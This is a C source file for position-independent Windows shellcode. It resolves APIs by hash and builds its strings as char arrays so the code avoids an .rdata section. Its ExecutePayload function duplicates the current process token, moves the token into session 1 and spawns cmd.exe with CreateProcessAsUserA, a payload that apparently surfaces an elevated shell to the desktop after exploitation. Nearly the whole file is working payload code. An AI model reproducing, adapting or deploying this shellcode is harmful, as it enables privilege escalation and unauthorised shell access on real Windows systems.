#define WIN32_LEAN_AND_MEAN

#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'

#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include <windows.h>
#include <intrin.h>


// Redefine Win32 function signatures. This is necessary because the output
// of GetProcAddressWithHash is cast as a function pointer. Also, this makes
// working with these functions a joy in Visual Studio with Intellisense.
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
	_In_z_	LPTSTR lpFileName
);



typedef DWORD (WINAPI *FuncWaitForSingleObject) (
	_In_	HANDLE hHandle,
	_In_	DWORD dwMilliseconds
);

typedef HANDLE(WINAPI * FuncGetCurrentProcess)();

typedef BOOL(WINAPI *FuncOpenProcessToken)(
	_In_ HANDLE  ProcessHandle,
	_In_ DWORD   DesiredAccess,
	_Out_ PHANDLE TokenHandle
);


typedef BOOL(WINAPI *FuncDuplicateTokenEx)(
	HANDLE                       hExistingToken,
	DWORD                        dwDesiredAccess,
	LPSECURITY_ATTRIBUTES        lpTokenAttributes,
	SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
	TOKEN_TYPE                   TokenType,
	PHANDLE                      phNewToken
);

typedef BOOL(WINAPI *FuncSetTokenInformation)(
	HANDLE                  TokenHandle,
	TOKEN_INFORMATION_CLASS TokenInformationClass,
	LPVOID                  TokenInformation,
	DWORD                   TokenInformationLength
	);

typedef BOOL(WINAPI *FuncCreateProcessAsUserA)(
	HANDLE                hToken,
	LPCSTR                lpApplicationName,
	LPSTR                 lpCommandLine,
	LPSECURITY_ATTRIBUTES lpProcessAttributes,
	LPSECURITY_ATTRIBUTES lpThreadAttributes,
	BOOL                  bInheritHandles,
	DWORD                 dwCreationFlags,
	LPVOID                lpEnvironment,
	LPCSTR                lpCurrentDirectory,
	LPSTARTUPINFOA        lpStartupInfo,
	LPPROCESS_INFORMATION lpProcessInformation
);


// Write the logic for the primary payload here
// Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
// Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload( VOID )
{
	FuncLoadLibraryA MyLoadLibraryA;

	FuncCreateProcessAsUserA MyCreateProcessAsUserA;
	//FuncWaitForSingleObject MyWaitForSingleObject;
	
	FuncOpenProcessToken MyOpenProcessToken;
	FuncDuplicateTokenEx MyDuplicateTokenEx;
	FuncSetTokenInformation MySetTokenInformation;
	FuncGetCurrentProcess MyGetCurrentProcess;
	HANDLE token=NULL;
	HANDLE new_token = NULL;
	DWORD session_id = 1;
	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInformation;
	// Strings must be treated as a char array in order to prevent them from being stored in
	// an .rdata section. In order to maintain position independence, all data must be stored
	// in the same section. Thanks to Nick Harbour for coming up with this technique:
	// http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
	//char cmdline[] = { 'c','a','l','c','.','e','x','e',0 };
	char cmdline[] = { 'c', 'm', 'd', '.', 'e', 'x', 'e', 0 };
	char module[] = {'A','d','v','a','p','i','3','2','.','d','l','l',0};

	// Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module
	SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
	SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

	#pragma warning( push )
	#pragma warning( disable : 4055 ) // Ignore cast warnings
	// Should I be validating that these return a valid address? Yes... Meh.
	MyLoadLibraryA = (FuncLoadLibraryA) GetProcAddressWithHash( 0x0726774C );
	MyGetCurrentProcess = (FuncGetCurrentProcess)GetProcAddressWithHash(0x51E2F352);
	// You must call LoadLibrary on the winsock module before attempting to resolve its exports.
	MyLoadLibraryA((LPTSTR) module);
	MyOpenProcessToken = (FuncOpenProcessToken)GetProcAddressWithHash(0x1B0BC626);
	MyDuplicateTokenEx = (FuncDuplicateTokenEx)GetProcAddressWithHash(0xC022CFDE);
	MySetTokenInformation = (FuncSetTokenInformation)GetProcAddressWithHash(0x5567F40C);
	MyCreateProcessAsUserA = (FuncCreateProcessAsUserA)GetProcAddressWithHash(0x06EC181F);
	//MyWaitForSingleObject = (FuncWaitForSingleObject)GetProcAddressWithHash(0x601D8708);
	#pragma warning( pop )	
	
	new_token=MyGetCurrentProcess();	
	MyOpenProcessToken(new_token, TOKEN_ALL_ACCESS, &token);	
	new_token = 0;
	MyDuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityAnonymous, TokenPrimary, &new_token);
	MySetTokenInformation(new_token, TokenSessionId, &session_id, sizeof(session_id));	
	StartupInfo.cb = sizeof(StartupInfo);		
	if (MyCreateProcessAsUserA(new_token, NULL, cmdline,
		NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation))
	{
		//MyWaitForSingleObject(ProcessInformation.hProcess, INFINITE);
	}
	

}